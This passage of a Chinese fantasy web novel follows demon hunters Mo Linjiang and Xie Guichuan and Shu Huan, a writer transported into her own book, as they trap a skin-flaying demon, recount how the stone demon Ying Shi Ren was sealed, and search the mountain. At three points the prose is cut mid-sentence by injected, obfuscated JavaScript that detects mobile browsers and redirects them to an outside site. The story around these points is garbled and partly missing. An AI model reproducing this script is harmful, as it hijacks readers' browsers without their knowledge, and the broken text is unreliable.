“冷静啊!冷静啊!” 王孝生突然落下两行泪:“莫道君,我并非真的想死,我只是……想在捉妖这件事上出一份力,它害死了我弟弟,我做为哥哥,总得为他做点什么吧……” 五人在简陋的灵堂里无声的对峙着,良久之后,莫临江退了一步,道:“我会设法,保你不死。” 王孝生闻言缓缓放下刀,十分郑重的弓了弓身子:“多谢道君成全。” 几人走出院落,莫临江对其余两人道:“布千引阵。” “好。” 两人应下后在随身挂着的褡裢里一阵翻找,翻出一个长长的木盒,打开来是一盒黑白相间的长钉。 钉子不知是何材质制成,泛着一层温润的光,钉身很长,下端尖细,通身刻有符文。 除此之外还有一团白色的线,一个装有东西的瓷瓶。准备好这些后,莫临江托着一盏青铜灯走了过来,灯的底座上盘着一只狻猊。 她将灯盏放在王孝生面前,从他头上割下一缕头发,盘在灯里做灯芯。 事毕后嘱咐道:“待我们布好阵后,你在屋内把灯点上,只要灯不灭,你就不会有事。” “我知道了。” 莫临江回到院子里,同两名捉妖师将长钉摆好阵型,浅浅插入一截到土里,白绳用瓷瓶里的水泡过后缠在了长钉钉头处,织成了一张横七纵八的网。 紧接着她打出数道金色符文,分别隐入了每根长钉之中,随后双手结出最后一道印打入地下,长钉及其连着的白线瞬间隐入地下,一丝痕迹也没留下。 书环在一旁看愣了眼。 阵已布好,眼下最重要的事就是先寻个地方躲起来。 王家还有间稍小的偏房,莫临江在外稍作处理,使妖物察觉不到她们的存在后便带着人躲了进去。 赶了一天的路,既要看恐怖的尸体又要提防着浓雾里钻出什么东西,紧张了一天的神经终于在此刻略微放松下来。 书环从包里翻出几个果子,把最大最红的给了莫临江,然后同两个捉妖师蹲在角落里啃着,边啃边想捉妖师的活还真不是一般人能干的,穿书前的日子虽然也累,但好歹在饭点能吃上一口热乎饭,捉妖师的生活却是日夜颠倒,三餐紊乱。 果子一啃完屋内又静了下来,片刻后书环觉得太无聊,决意先同这群未来的小伙伴打好关系,她用手肘杵了杵小捉妖师,问道:“你们叫什么名字?” 小捉妖师道:“我叫元清。” 另一个道:“在下宗远。” 她白天被王孝生吓瘫时就是他俩把她拖进村的,想到这书环觉得有些不对。 “莫姐姐,你们无法分辨人和妖吗?” 元清抢在莫临江前面开了口:“怎么会,只要不是道行高得离谱的,我们都能一眼分辩。” “那上午王孝生出现那会怎么没人提醒我?” 宗远和元清眼神闪躲,书环回头看莫临江,见她眼含笑意,顿时恍然大悟。 “好哇,原来你们都知道,就是想看我被吓,哼!实在是太过分了!” 莫临江擦完了青山白,将它收回剑鞘内,回首道:“姑娘胆量不大” 书环揉了揉鼻子,有些不服气:“那种情况下,胆子再大也会被吓一跳的好吗?” 元清笑她:“我们都没怕。” “那怎么能一样!你是专门捉妖的,我只是个写话本的。” “书姐姐,承认自己胆小其实也没什么的。” 书环看了眼这个戏份极少的小少年:“元清,你这张嘴跟你的长相不符啊。” “哪有?书姐姐你的口才和你的胆量才是真的不符。” 书环确定了,这小孩就是嘴贱。 她笑意盈盈的捏了捏他的肩:“等书姐姐写话本赚大钱了,一定让你过上天天挨打的日子。” “那我这辈子能等到吗?” 宗远瞥了元清两眼,疑惑道:“你怎么变得贱贱的?” 元清摇头道:“不知道,只是觉得书姐姐跟别人不一样,怪亲切的,难免想跟她多说两句。” 刚说完这话,他突然脸色一变,三人的目光瞬间落到了王家门前那条路的尽头。 莫临江拇指抵在剑柄上,低声道:“有东西来了。” 书环趴在窗角朝外边看去,天色已晚,柴门上挂着的白灯笼是唯一的光源,然而却在此刻起了风,两个灯笼被吹得左右摇晃,书环攥紧了衣袖,心道可千万不要灭了。 “呼”的一声。 灯笼熄了一盏。 只差一盏灯,黑暗便能将整个王家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419217|184751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彻底包裹。 此刻万籁俱寂,只余下黑暗里传来的奇怪拖地声,慢吞吞的,不似人类的行走速度。 书环很不合时宜的想起了从前看过的那些恐怖片,先是发出一些诡异的动静,然后趁人不注意扑出一张鬼脸。想到此处,脑海中的恐怖画面慢慢同浓雾里那个庞大的身形重合。 元清吸了口冷气:“好多!” 那个身影说不上巨大,但是很宽,颜色杂乱无章,正中有道明显的红,像一具具死尸立在那里,无声的望向屋内的四人。 不会是那些死者跑来索命了吧? 书环被这个想法吓了一大跳,随即立马否定,她可没写过这个剧情,不过话说回来,她这个原作者都穿书了,那剧情有所变动也很正常吧。 两种想法在脑子疯狂打架,另一边的巨物动了,它刚上前一步便踩中了阵法,庞大的身躯被无数根淬了化神水的缚妖绳割开,未等它有所动作,一柄莹白的剑已抵上喉头。 一朵霜花自青山白上缓缓落下,在衣襟未掩盖住的锁骨处化作一点水渍。 来人轻摇着折扇,目光盈盈,语气莫名的缠绵:“又见面了,莫少宗主。” 莫临江目光在他胸前的水渍上停留了一瞬,随即收了剑。 书环意味深长的啧啧两声。 元清不解:“书姐姐这么激动做什么?妖还没抓到呢,又撞上了明月楼这帮坏东西。” 书环还记得这小子犯的贱,她抱着手臂,语气高深莫测道:“你还小,你不懂。” 元清道:“我三岁能画符,五岁能倒背《万妖经》,我有什么不懂的?” 他一脸好奇,书环却没有回他,她趴在窗口,看着莫临江头也不回的进了院子。 谢归川拿扇子的手一顿,问道:“莫少宗主,你这就走了?” 莫临江驻足回首道:“谢少主不会连千丝阵都解不开吧?” 谢归川掩面笑道:“莫少宗主都这样说了,在下自当竭尽全力。” 说完凤凰泣一扇,空中蓦然出现几团凰火,短暂的照亮了众人所在的区域。 书环终于得以看清千丝阵的全貌。明月楼整整十人,被阵法中丝线分割得零零散散,丝线看似没有规律的排列,却又将每个人的逃生之路都堵得死死的。 歪七扭八最先反应过来,纷纷找出刀剑想要割断丝线,奈何莫临江十分重视这次的妖,用的缚妖绳大有来历,纵是明月楼内门弟子的法器也奈何不得。 见刀割不成,众人又改用火烧,同样的,寻常的火撼动不了它分毫。 歪七喊道:“少主,用你的凰火试试。” 谢归川没有动作,他只是静静的望着莫临江,她立在院子里,身后是屋内照出的灰暗的光,在这种光线下,她的身影显得愈发单薄和扑朔迷离。 他毫无预兆的朝着那身影迈出一大步,一根丝线横拦住了他的脖子。 “少主!” “少主不要想不开啊!” “少主我们不能没有你啊!” 几道声音突兀的响起。 谢归川没有为此停下,而是接连迈出几步,想象中的血腥场面并没有出现,那些丝线只是隐入到了他身体里,待他走过后又重新出现在原处。 正在哭喊的几人张着嘴愣在那:“……” 谢归川嗤笑道:“一群蠢货,千丝阵是缚妖阵,你们是妖吗?” 9. 放长线钓大妖 被骂蠢货的明月楼众人无一人反驳,纷纷耷拉着脑袋从阵里走了出来,并排站在院子里,看起来像是被太阳暴晒了一下午的白菜。 随着歪七的一声咳嗽,众人忽然精神一震,毫无预兆的摆出各种骚包姿势,挤眉弄眼的同时以一种十分油腻的腔调齐声道:“又见面了,莫少宗主!” 学的正是谢归川方才说的话。 莫临江:“……” 书环:“……” 元清:“……” 宗远:“……” 元清语调没有起伏的问道:“这就是门主让我们小心的明月楼?” 宗远:“额,看样子是的。” 书环:“……我们让莫姐姐一个人应付这种场面……是不是不太好?” 三人如梦初醒般从窗口窜了出去,并排拦在莫临江身前。 这种占位使得书环将众人身上多穿衣物一览无遗的看了个遍,最后嘴角抽搐的问道:“请问明月楼诸位是要去选美吗?” 一个个穿得跟花蝴蝶似的,谢归川就算了,他作为原书男主配置高,一身红衣衬得人格外俊美,加上凤凰泣更是相得益彰。 但另外几个是怎么回事? 花花绿绿的衣物,奇怪的剪裁,夸张的头饰,鲜艳的大红唇,魅惑的眼线,脸颊中间顶着两团明亮的腮红,更有甚者直接在鼻子旁边点了一颗硕大的媒婆痣。 歪七扭八见书环看得认真,纷纷抬手转圈,方便她无死角的欣赏。 “怎么样?我们的衣服好看吧!” 书环盯着那硕长的衣摆无语片刻,她们放才在屋内听到的怪异拖地声的幕后黑手不会就是这个吧! “恕在下冒昧,你们为何要穿得如此……” “呀!这是我们明月楼的特色,穿衣风格要统一!” “可是谢少主也没穿成你们这样啊!” “那是少主审美不行!” 谢归川从众人摆出骚包姿势的那一刻起就开始眼皮狂跳,听到这更是恨不得将他们塞回娘胎里。 他以凤凰泣掩面,平复心情后,才不动声色道: “楼中人行事莫名,让少宗主见笑了。少宗主是打算在此布阵捉妖?” 王孝生听见外边的动静走了出来,谢归川露出了然的表情。 “原来还有活人,难怪要在此布阵。” 王孝生一脸狐疑:“莫道君,他们是?” “进屋去说。” 莫临江将千丝阵复原,带着两方人马进了屋,明月楼的人围着尸体看了一圈,面带苦色道: “什么东西?下手竟如此狠毒!” 谢归川远远的看了一眼,道:“据我所知,会剥人皮的妖物无非就那几种,披皮女,罩面童子,应石人。” “罩面童子只剥人脸,所以应当不是它,披皮女只剥女人的皮,至于应石人,他喜欢把人皮剥下来挂在树上吓人,可它几十年便被无端门上一任人宗宗主白相然所擒,虽没能让它神魂俱灭,但也留下封印,令其百年内不得再出世。” 说到这,谢归川略一思索:“白宗主封印完应石人便仙逝而去,距今已有二十余年了吧。” 莫临江道:“二十三年。” 白相然仙逝的第二年,他的徒弟鹤非白,也就是莫临江的师父当上了无端门人宗宗主。 “谢少主是担心封印出了什么问题?” “有此疑虑。” “封印有弟子定期去查看,从无损坏。” 对于捉妖师而言,世上的妖分为两种,一种潜心修炼的,一种作乱害人的。前者与捉妖师相处还算和谐,偶尔遇到麻烦还会互相求助,后者则又可分为两种,一种是捉妖师打得过的,一种是打不过的。 打得过的还好,捉回去关押起来,待到奏谳大礁时审批定罪便可按律发落。可若是遇上打不过的那便麻烦了,要么同归于尽,要么拼尽修为封印起来,这些封印大妖的地点全部登记在册,倘若封印消散时妖物还活着的话将会由师门接手处置。 谢归川道:“既然封印没问题,那就只有一个可能。” 他抬眼望向众人:“此处生出了另一个应石人,亦或是别的妖物。” 通常情况下来讲,万物化妖是因为此处风水极为刁钻,在其百年时光的孕育下,某些有机缘的植物或动物会生出灵智,应石人则不同,他的原型是一块人形的石头。 在白相然留下的册子里写道:应石人诞生于泉山的悬崖边,风吹日晒二十余年有了灵性,石头初具人形;三十年后初开灵智,石头有了明显的四肢;又三十年修为精进,面上有了五官,手脚细细分出了趾;再五十年后修为大增,它得以从石壁上脱离下来。 那一年,应石人出世了。 因原型是石头的缘故,应石人没有柔软的皮肤,更没有复杂的情绪,它只是凭着本能去杀人剥皮,然后选个高高的树枝把皮挂起来,借此吓唬走山路的人。 这种“我没有的东西别人也不能有”的思想令众人齐齐皱眉。 莫临江道:“先前来时我曾看过山势,巍峨磅礴,气运深厚。谢少主可曾推衍过?” 谢归川轻摇折扇:“推衍一术本就是窥探天机,因此越大的事推衍出的结果越模糊,我来时,曾于推衍一道中看见了一片雾。” “雾?” “不瞒少宗主,这还是在下这么多年以来第一次得出此等卦象。” 书环想起了那片笼罩一切的浓雾,探头道:“这么说来,是山中某物受灵气气运滋养生了灵智,修炼了不知多少年得以行走世间,最后因为某些原因下山杀人。” 谢归川点头道:“不错。” “那这个妖和应石人谁更厉害?” “应石人杀了四十余人,因此孽气加身,导致白长老不得不以命为引将其封印,莫少宗主,此地的妖物杀了几人?” “十余人?” 谢归川追问道:“那村里剩下的人……”他眉毛一挑,想清楚了其中缘由,失笑道:“无端阵法,名不虚传。” “既是十余人,只要它不是个修炼了数百年的老怪物,那我们就还有机会。” 书环又探头:“那万一真是个老怪物呢?” 不是她非得好奇,而是她写的这个妖怪貌似不是一般的厉害,加之许多剧情都发生了变化,她怕众人出什么意外,这才特意提醒。 谢归川眉眼一弯,暗戳戳的吓唬她:“那我们就得一同葬身此处了,”说着目光落到莫临江身上,说起一桩捉妖界争论了许久的事:“只是可惜,还没同莫少宗主分出个高低。” 莫临江道:“谢少主若想切磋,在下随侍奉陪。” “此事不急,如今当以捉妖为上。少宗主可还记得当年白相然前辈是如何对付应石人的?” 白相然的手册一直封存于无端门,这里知晓其细节的只有莫临江。 她缓缓道来:“应石人原型为一块山石,坚硬无比,白前辈想到的第一个法子,是以火克之。” “他三立法坛,请下一引三昧真火,以真火焚之,然而应石人的坚固非同寻常,一夜过去,它也仅仅是外表被烧黑了一层。” 谢归川道:“白前辈没向明月楼求助,用凤凰泣的凰火吗?” 两派虽斗了数百年,但向来分的出轻重,倘若一方遇上解决不了的大妖,向另一方求助也不是没有的事,不过就是除完妖后自认矮对方一头罢了。 “谢少主忘了,二十三年前,凤凰泣正处于前一任主人离世,而后一任主人尚未降生的阶段,它是仙器,旁人使用不了。并且无端门和明月楼距离泉山甚远,白前辈布下的阵只能困住它三天,等到两派高手赶到,恐怕它已逃之夭夭。” 谢归川叹了口气,这可真是时运不济。 “后来呢?” “后来,白前辈见真火无用,于是转念用金凿之。可即便是无端门最上成的降妖杵也只能在它身上擦出火花。白前辈再度无功而返,回程途中撞见石匠在给遇害的百姓修坟墓,白前辈灵光一现,收集了三百六十五枚年老木匠石匠用了大半辈子的凿子。” 谢归川思索道:“木匠和石匠分别为活人和死人筑屋,白前辈是想用这些沾染生死之道的凿子凿穿应石人的穴位?” “不错,妖之所以先修人形,是因为人的身体于修行一事上事半功倍,若是打穿了全身的穴位,那么应石人自会消散。” 谢归川再问道:“白前辈成功了吗?” 莫临江垂眸,神色悲悯:“成功了一半。” 白相然凑齐三百多枚凿子后,马不停蹄的布阵,万分艰难的将凿子结合阴阳打入应石人体内,可惜还是差了一点,凿子只能打入穴位的一半,无法彻底打穿,也就是说,只要给应石人足够多的时间,它依旧能恢复如初,并且经此一遭,它的杀心可能会更重。 阵法只能撑这最后一日,白相然费劲心血才将它困住,若是此番逃脱,指不定就躲到哪座深山去了,再想找到它无异于登天。就在这时,他的视线里多了一只妖。 寻上门的是一只兰花妖。 泉山气运深厚,哺育出应石人的同时也滋养出了这颗生在山林间的兰花。 兰花清婉,不似旁的妖那般重杀伐,因此时常被山中其它小妖欺负,某一日,它被一只虎妖一脚踩断了花枝,碰巧遇上上山采药的青年郎中,对方见其可怜,便将它挖了回去,精细的养在了花盆中。 这世间所有的情与爱,都是从相遇那一刻便注定了的。 兰花被养于供台上,日夜受青年照拂,沾染了药王画像前的香火,因此化形得格外快。 化形后她有意报答青年的恩情,于是每日都会上山寻一些珍稀药材,偷偷放在院子里,她心思单纯,不懂隐藏,不过几日便被青年逮个正着,一番纠结后,她说出了实情。 青年诧异的同时也为这份情意所感动。他自幼学医,行医多年早已看惯人情冷暖,世态炎凉。乍然遇上此番心性纯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419218|184751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 净之人,只恨不能劈天凿地,为她僻出一方没有人性丑态的空间。 于是兰花妖依旧在供台上住下,青年不让她接触任何会带偏心性的人和物,并且费劲心思的为她寻来修行书籍,只盼她能早日修成正果。 兰花妖照做不误,只是会在青年上山采药的时候执意同行,她告诉青年,她生于深山百年,对此再熟悉不过了,有她帮忙,他能省下更多时间治病救人,青年总算接受于她同行。 兰花妖说,那是她此生最幸福的时光,因为很快,她便迎来了妖生的第一场劫。 妖若想修成正果,需过数道雷劫。她隐约听山里的鹤妖提起过,对方认识的一只妖便是因雷劫没过,活活被劈死了。青年知晓此事后曾允诺会在一旁相守。 可惜雷劫来得不巧,那时青年正外出给一户农户看病,兰花妖奋力苦撑,好说歹说是过了雷劫,可当她一脸兴奋的去找青年时,看到的却是一具被扒了皮的尸体。 原来,青年外出救人不幸碰上了刚出山的应石人,做了它练手的工具。 兰花妖悲痛欲绝,想替青年报仇又恨修为不够,于是回了深山企图说服其他妖物联手,不料往日热闹的山林此刻早已妖去林空,她驻足良久,只等到鹤妖现身。 “哎哟!大家都跑了,你还回来做什么?” “我想以三世福报为交换,请大家联手除了那块石头。” 鹤妖一脸苦相:“哎哟!哪是那么容易的哟!人有高低,运有大小,咱们这些妖和那石头完全不是一个等级的,没看到它一出世大家都跑了吗?就是害怕它一时兴起,毁了咱们百年修行哟!” 鹤妖扑腾着一对翅膀:“听我一句劝,赶紧跑吧,这种应劫而生的东西不是普通人能解决的,就算两大捉妖门派的人来了也不一定管用,我留在此处就是为了劝你。话已尽,我也该走了。” 后面几日应石人更是大开杀戒,白相然闻讯而来,纵览收妖全程的兰花妖心想,鹤妖说的果然是对的,即便是大门派的人来了也没用,可是白相然凿入的三百余枚凿子给了她希望。 应石人至邪至恶,而她至纯至净。 若眼下还有什么东西能与之相克的话,大概只有她这株兰花了。 白相然问她:“你想如何?” 兰花妖反问道:“白道君可曾见过树根穿过的石头?” “你是想从凿子凿出的口扎根而入,从内里满满摧毁它?” “不错。” 白相然面露不忍:“可是这样一来,你会不得善终。” “或许……这便是命吧。” 一心救人的青年惨遭横死,至纯至净的兰花与恶石纠缠不休。 世间之事,大多难以美好收尾。 白相然同意了她的做法,兰花根扎进应石人身体的那一刻,它发出了惨烈的哀嚎,紧接着便有细碎的裂缝从穴位处遍布开。 此法虽有效,但因应石人太过逆天,兰花妖又修为尚低,白相然恐生变故,于是做了同兰花妖一样的决定。 他寻了一处镇压之地,凿处一个深坑,将兰花缠绕的黑石以封魂砂混化神水厚厚的包裹一层,埋入地底。又以一半修为布了封印阵法,随即将除妖经过事无巨细的写下,用以后人参考,最后,他回望了一眼壮美河山,将余下的修为尽数渡给了兰妖。 那一日,作乱多端的应石人和至纯至净的兰花妖,连同舍身大义的白相然一起伴随着落日永远的埋入了地底。 *** 莫临江说完良久,众人都还沉浸在这段往事中无法自拔。 书环作为原作者更是无法描述这种感觉。 “那……兰花妖和那位青年呢?他们还有来世吗?” 莫临江也没有准确的回答:“或许有,或许没有。” 书环苦笑:“这可真是……” 谢归川道:“为救苍生死,于捉妖师而言,不算什么坏结局。” 话虽如此,可书环还是听到他轻轻叹了口气。 王孝生盯着那盞灯道:“我喜欢这个故事。” 书环深吸口气:“所以……我们暂时要用对付应石人的法子来对付这处作乱的妖,对吧?” 莫临江颔首:“为避免意外,还需另准备两个应对之法。” 众人商议一番后,列出了所需之物,此时天色已晚,莫临江和谢归川决定明天一早再派人下山采集东西,今日刚杀八人,夜里又安静如水,妖物大概不会再来,众人选了就近的几户农舍歇下。 书环的隔壁是莫临江,因此格外安心,简单洗了洗便寻了床铺躺下,这户人家的床说不上舒服,但胜在干净。 书环躺下没几分钟眼皮便开始打架,她迷迷糊糊的想拉她进书里的大反派呢?按照原著剧情,他应该就是在这一大段剧情里出场的,他把自己往故事开头一扔便没了踪影,他的大反派不当了?还是说他在偷偷搞什么大动作? 书环越想脑子越乱,最后带着一堆问题入了睡。 10. 倒霉误撞破绽 清晨,一层薄纱般的雾笼罩了整片村落,绿意新发的枝头坠着晨露,书环摘下一朵桃花,捻在指尖细细把玩着。 莫临江从带来的人里挑出两个,下山去收集昨夜罗列好的东西。 一转身,便见谢归川一身白衣倚在树下,手里还拿着只海棠花,书环站在不远处,指尖一点粉红。 “谢少主也喜欢花?” 谢归川笑得温婉:“美好却不长存之物,难免会多倾注几分目光。” 莫临江从一旁路过,书环叫住她,问她喜欢什么花,她驻足回望,道了一句:“梅花。” 书环笑着后退两步:“我就不一样了,凡是漂亮的花朵我都喜欢。” 谢归川接住一朵正在下落的花,放在掌心细细的看着:“那明月楼对诸位来说一定是个好去处,那里什么花都有。” 莫临江看他:“是吗?” “自然做不得假。” 她轻笑一声,作势要走,谢归川叫住她,说有个阵法想请教一下,书环看着两人的小动作,不动声色的往后退。 此时恰逢微风拂过,花瓣纷纷而落,漫天飞花中,两人相视而立,如江上清风遇上山间明月,道不尽的清美淡沲。 写书人倾尽所有去描绘的画面也难抵此刻。 书环不禁感叹,这可真是一个好地方啊,山清水秀,景美人美。若是没有妖物作祟的话,定是个养老的好去处。 吃过早饭后,莫临江决定带人上山排查一遍,妖物昨日才杀了人,或许会有什么发现。 谢归川作为莫临江的对家自然不能放任她们独自上山寻到踪迹,于是村落里出现了这样一幕:无端门众人衣袂飘飘的立在一旁,明月楼捉妖师张牙舞爪的站在对面,个个昂首挺胸,势要在气势上压过对方。 书环头疼:真像一群小学生。 相比之下无端门的人不要稳重太多,对方似乎也察觉到了这一点,干脆把话题转移到她这个“新人”身上。 “书环姑娘,你没有捉妖经验,这山又这么大,万一撞上什么妖物,我们一时施救不及怎么办?” 书环双手抱住青玉笔。 “不怕不怕,我有曳骨,管它什么妖魔鬼怪,敢来我就敢画符!” 莫临江看了一眼笔:“曳骨,这个名字不错。” 谢归川的关注重点却不在这里:“书环姑娘,你修炼得这么快,已经能同妖物交手了?” 她解释道:“谢少主误会了,我没那么厉害。之所以会用画符这招是因为无论我画什么符都会出意外,不是被火烧就是被雷劈,偶尔还能遇见爆炸,动静一次比一次大。” 她正色道:“我偷偷试过了,曳骨画符不需要符纸和朱砂,并且爆炸威力更大!此招虽然有些杀敌一千自损八百,但盛在有用!” 谢归川罕见沉默了一会。 “我似乎没听说过有人画符会引发这些动静。” 他身后的歪七扭八也一脸不信。 书环见状在空中一挥笔。 “就知道你们不信,不过实在不巧,每次我当着别人的面要验证这件事的时候都不会成功。喏,不信你们看!” 说完等了一会,符文安静如初,果然无事发生。 “看吧,就是这样!” 书环摆摆手,面前的景象突然扭曲了一瞬,下一刻她从天而降,一头扎进了村边的池塘里。 众人:“……” 歪七扭八的下巴拉得老长。 “方才……书环姑……姑娘画的……是……是……” 扭八用手把下巴扶上去:“是斗转星移符。” “画斗转星移符会出现这种情况?” “会不会都不重要了。” “那什么重要?” 扭八一拍他脑袋。 “救人啊笨蛋!” 没看见少主和他死对头都只剩下背影了吗! 上山的路格外曲折,书环杵着根拐杖,走的颤颤巍巍,仿佛回到了刚穿书的时候。与之不同的是这次没有瘸腿搭子。 虽然出了点意外,但她还是执意跟着上山了。 她吸了吸鼻子:“总感觉鼻子里还有水。” 元清道:“你不经常在水里待,不适应是正常的。” “听你这话,你在水里待过?” 他一昂头:“当然,之前为了捉一只水蛇妖,师姐带着我们在水里潜伏了三日。” 书环大惊:“三日都待在水里吗?那你们怎么呼吸?” 莫临江道:“应水符。” “好厉害!我也想学。” 谢归川笑而回眸:“书环姑娘不怕再出什么意外?” 她毫不在意:“意外出得多了,说不定哪天我就不惧水火了呢!” 众人又往上走了一段路,山势愈发高耸,几乎要插入天际。路边的草木渐渐茂盛起来,一路上见到不少珍奇花草,有的姿态万千,有的颜色梦幻。 “这些花草也会成妖吗?” “有机缘的话便会。” “那这里有妖吗?” 莫临江纵览一番,道:“没有。” “真是遗憾,这么漂亮的花,成了妖也一定很漂亮,可惜看不到了。” 谢归川突然开口:“其实书环姑娘想看到也不难。找株喜欢的连根挖回去,以饲妖秘术圈养起来,兴许过个十余二十年它就化妖了。” “饲妖秘术?” 直觉告诉她这并不是什么好东西。 莫临江道:“百年前曾有人以饲妖秘术豢养妖物,为满其私欲闯下滔天大祸,自此饲妖秘术被列为禁术。” 谢归川道:“莫少宗主说得不错。不过虽为禁术,如今捉妖界知晓此术的人也不少。” 书环大亥:“那万一有个心术不正的……” 谢归川笑道:“书环姑娘放心,如今流传下来的是残卷,完整的饲妖秘术早在百年前就已经被毁了。” 众人边走边查探,就这样一连走了好几处事先预估的地方都一无所获。 元清蹲在地上托着脸道:“怎么会这样,这些地方一看就能孕育出妖,为什么会没有。” 书环安慰他:“或许是时机未到,指不定等会一个转身就找到了,喏,别伤心,我给你摘个野果子吃。” 说着转身爬上了身后的树,这棵树长在斜坡边,树冠一半在铺满了落叶的荆棘林上,一半在平坦的地面上,结出的果子又大又红,她刚到此处时便盯上了,如今终于找到借口去摘。 她站在枝头垫着脚去够那枚挂得高高的果子,每使一次力,手指都会离果子更近几分,她心一狠,脚尖猛地一垫,果子顺利到手,刚想欢呼,便听脚下的树枝一声脆响。 她笑容一滞,人至少不能倒霉到这种地步吧? 下一刻,她连人带树枝一头砸进落叶堆里,未出口的欢呼变成了尖叫。 众人十分熟练的扑上前,只见荆棘丛蛄蛹两下,下一刻,书环一手拿果子一手拿纸张从中钻了出来,吐了吐嘴里的枯叶道: “莫姐姐,有发现!” 书环发髻散乱,衣服被荆棘勾得乱七八糟,脸上蹭了不少土,浑身上下沾满了落叶,此刻正高举双手,露出一口白牙。 众人沉默。 元清没忍住扑哧一声笑了出来。 书环嘴一瘪,狂甩了几下头。 莫临江冲她伸出手:“先上来。” 书环顺利从荆棘丛里脱身,手中攥着的几页纸被平铺在地上。 谢归川蹙眉:“这是……玄玉阵?这不是无端门不外传的阵法么?怎么会出现在这种地方?” 莫临江将残页按顺序拼凑在一起。 “是《 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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莫临江默不作声的将纸张细看一番,收起道:“正如谢少主所说,是人手抄的。” 书环啃完最后一口道:“那我们接下来该怎么办?” 莫临江回首望向那片荆棘和藤蔓丛生的地方,拇指抵上剑柄,青山白出窍,顺着书环掉下去的地方劈开一道口子,枯叶荆棘被扫荡开,露出一株盘根错节的老藤。 众人顺着剑气劈开那条路下去,走近一看,主藤约莫两人高,藤身古朴苍劲,表皮沟壑遍布,根系深深的扎进泥土里,侧枝上分化出许多细小藤蔓,爬满了半片山坡。整株藤蔓无声的盘结在此,不知已历经多少岁月。 “这是这座山上最接近妖的植物了。” 书环不解:“接近?” 莫临江伸手握住一截藤身,微微一用力,一段干枯的藤蔓被折断下来。 “它已经开始死亡,再无化妖的可能了。” 书环这才注意到藤蔓没有叶子,这在百花竞相绽放的时节是一件很异常的事。 “可这样一来的话,这里岂不是没有妖了?那又是什么东西在杀人呢?” 莫临江道:“这才是我最担心的事情,或许此处不是没妖,而是有一只大妖,吞噬了其余妖物和气运,致使再无一物成妖,并且,”她停顿一瞬,接着道“并且此妖很有可能学会了《六合文》的部分阵法,十分善于躲藏。” 书环冷吸一口气:“那我们要找到它岂不是很麻烦?” “有些棘手。” 莫临江自入世后便难逢敌手,能让她说出棘手二字,想来确实不简单。 几人又在附近转了几圈,确定没有发现后才离开。下山不像上山那般需要观察四周,因此格外快,半个时辰便回到了村落。 莫临江和谢归川各自修书一封送回了宗门,吃过午饭后又去检查那些尸首,书环不想再见那惨状,又不想画符,见村民个个情绪低落,书·虐文爱好者·后妈作者第一人·环大腿一拍,决定挑战自我,即兴创作。 11. 妖雾再现 村民吃过午饭,正三三两两的靠在一起。 谢归川派了几个捉妖师过来协同保护村民,两派的人联手把阵扩大了两倍,村民的活动范围扩大了一圈,却依旧个个面带愁容。 书环刚露面便吸引了所有人的目光。 被打发来守门的歪七眼睛一亮:“书环姑娘,你也被发配过来了?” 她一头露水:“什么发配?”说完戳了戳旁边站着的无端门弟子。 “有扇子吗?借我一把。” 对方从褡裢里翻出一把黑扇递了过来,书环打开一看,豁,扇面上全是符文,竟是把法扇。差点忘了,这是群捉妖师,身上带着的无一不是法器。 此刻她有些想她的瘸腿搭子了。 不过法扇也好,普通扇子也罢,都只是个工具,耽误不了什么。书环摇着扇子往人群中一坐,清了清嗓子道: “春光明媚,辜负实在可惜,不如我给大家讲个故事吧。” 一小部分人的目光看了过来。 书环有些激动,这还是她第一次不写大纲直接编故事呢! 她调子一扬:“话说,在某地某镇的一家酒楼里,有个说书人,喜欢说一本名为《霸道书生俏小姐》的话本,该话本讲述的是一名上京赶考的穷书生与当朝宰相家小姐一见钟情,通过绝食私奔,未成亲先生子,最后成功走到一起的故事。” “听众里有位叫墨柳的姑娘,她幼时随母行商,见多识广,学时渊博,因此听完这个故事的第一反应便是怒斥其不合理,先不论穷书生和富小姐怎么见面,就算一见钟情,宰相知道后为何不阻止后续偷会,就算没人发现,后面挑明后千金小姐是怎么做到不惊扰一人私奔而走的……” “墨柳姑娘吐槽一通便回了住处,如往常一般洗漱就寝,怎料一觉醒来便发觉自己到了一个陌生的地方,同住一屋的姑娘唤她翠云,没错,墨柳意外进入话本,成了话本里那位千金小姐的贴身丫鬟,而这个丫鬟的结局,是宰相得知女儿同穷书生私奔后一怒之下命人打死了。” “墨柳被吓得不轻,在去给小姐梳妆时则更为震惊,因为今天就是小姐同书生一见钟情的日子,离两人私奔还有不到三个月,也就是说,还有不到三个月她就要被乱棍打死了。” “死期将近的墨柳姑娘下定决心要在死期来临前扭转两人私奔的结局……” 书环的说书功底极强,众人听得入了迷,因此谁也没注意,纷纷而落的桃花林中,有一人背靠着树,目光停于她身上良久。 一口说了两个多时辰,太阳西下时才停住,故事刚好卡在关键时刻。 众人意犹未尽。 “怎么不继续说了,后面的故事呢?那个穷书生到底有没有喜欢上墨柳姑娘花钱找去的人啊?” 书环把扇子一合,学着说书人特有的腔调: “欲知后事如何,且听下回分解!” 说完连跑带跳的窜了出去。 围在外围的捉妖师不解。 